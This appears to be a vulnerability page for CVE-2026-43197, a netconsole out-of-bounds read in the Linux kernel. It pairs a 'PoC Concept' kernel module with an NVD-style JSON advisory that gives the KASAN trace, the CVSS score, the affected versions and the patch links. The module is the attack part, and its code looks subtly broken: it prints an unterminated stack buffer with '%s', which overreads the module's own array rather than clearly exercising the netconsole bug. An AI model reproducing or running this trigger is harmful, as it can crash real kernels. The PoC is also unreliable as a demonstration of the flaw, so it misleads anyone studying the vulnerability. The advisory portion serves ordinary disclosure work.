CVE-2026-43197

/* * PoC Concept for CVE-2026-43197 * Triggering netconsole OOB read by flooding console. * Note: This requires netconsole to be configured and active. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/printk.h> static int __init poc_init(void) { int i; char long_msg[4096]; // Fill buffer without null terminator at specific boundary memset(long_msg, 'A', 4096); printk(KERN_EMERG "Triggering netconsole OOB read\n"); // Attempt to trigger the write path for (i = 0; i < 100; i++) { printk(KERN_CONT "%s", long_msg); } return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "PoC unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2026-43197");

{"cve": {"id": "CVE-2026-43197", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:38.740", "lastModified": "2026-05-11T20:11:44.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetconsole: avoid OOB reads, msg is not nul-terminated\n\nmsg passed to netconsole from the console subsystem is not guaranteed\nto be nul-terminated. Before recent\ncommit 7eab73b18630 (\"netconsole: convert to NBCON console infrastructure\")\nthe message would be placed in printk_shared_pbufs, a static global\nbuffer, so KASAN had harder time catching OOB accesses. Now we see:\n\n printk: console [netcon_ext0] enabled\n BUG: KASAN: slab-out-of-bounds in string+0x1f7/0x240\n Read of size 1 at addr ffff88813b6d4c00 by task pr/netcon_ext0/594\n\n CPU: 65 UID: 0 PID: 594 Comm: pr/netcon_ext0 Not tainted 6.19.0-11754-g4246fd6547c9\n Call Trace:\n kasan_report+0xe4/0x120\n string+0x1f7/0x240\n vsnprintf+0x655/0xba0\n scnprintf+0xba/0x120\n netconsole_write+0x3fe/0xa10\n nbcon_emit_next_record+0x46e/0x860\n nbcon_kthread_func+0x623/0x750\n\n Allocated by task 1:\n nbcon_alloc+0x1ea/0x450\n register_console+0x26b/0xe10\n init_netconsole+0xbb0/0xda0\n\n The buggy address belongs to the object at ffff88813b6d4000\n which belongs to the cache kmalloc-4k of size 4096\n The buggy address is located 0 bytes to the right of\n allocated 3072-byte region [ffff88813b6d4000, ffff88813b6d4c00)"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6", "versionEndExcluding": "6.18.16", "matchCriteriaId": "DD48D2A2-43CB-4E6C-A61C-C1BEA033EAF0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3126a2f98beaec5a554a1fb31c46db1e8542665e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/74ab1456eaa3b2eb986138f9e1f4cb37e73b6f58", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/82aec772fca2223bc5774bd9af486fd95766e578", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}